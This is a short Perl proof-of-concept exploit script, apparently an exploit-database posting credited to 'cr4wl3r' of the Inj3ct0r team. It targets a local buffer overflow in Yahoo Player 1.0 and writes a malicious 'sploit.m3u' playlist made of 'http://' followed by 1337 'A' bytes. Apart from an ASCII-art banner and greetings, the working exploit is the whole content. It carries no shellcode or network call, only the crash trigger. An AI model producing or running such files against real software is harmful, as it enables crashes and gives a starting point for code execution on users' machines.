#!/usr/bin/perl

# Yahoo Player 1.0 (.m3u) Local Buffer Overflow PoC

# 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
# 0     _                   __           __       __                     1
# 1   /' \            __  /'__`\        /\ \__  /'__`\                   0
# 0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
# 1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
# 0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
# 1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
# 0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
# 1                  \ \____/ >> Exploit database separated by exploit   0
# 0                   \/___/          type (local, remote, DoS, etc.)    1
# 1                                                                      1
# 0  [+] Site            : Inj3ct0r.com                                  0
# 1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
# 0                                                                      0
# 1                    ######################################            1
# 0                    I'm cr4wl3r  member from Inj3ct0r Team            1
# 1                    ######################################            0
# 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

#[+] Discovered By: cr4wl3r
#[+] Greetz: opt!x hacker, xoron, cyberlog, mywisdom, irvian, EA ngel, bL4Ck_3n91n3, xharu, zvtral, and all my friend


print "#####################################################\n";
print "[!] Yahoo Player 1.0 (.m3u) Local Buffer Overflow PoC\n";
print "\n";
print "[!] By: cr4wl3r\n";
print "#####################################################\n";


my $buff = "http://"."\x41" x 1337 ;
open(file, "> sploit.m3u");
print (file $buff);
print "\nDone!\n";


# ~  - [ [ : Inj3ct0r : ] ]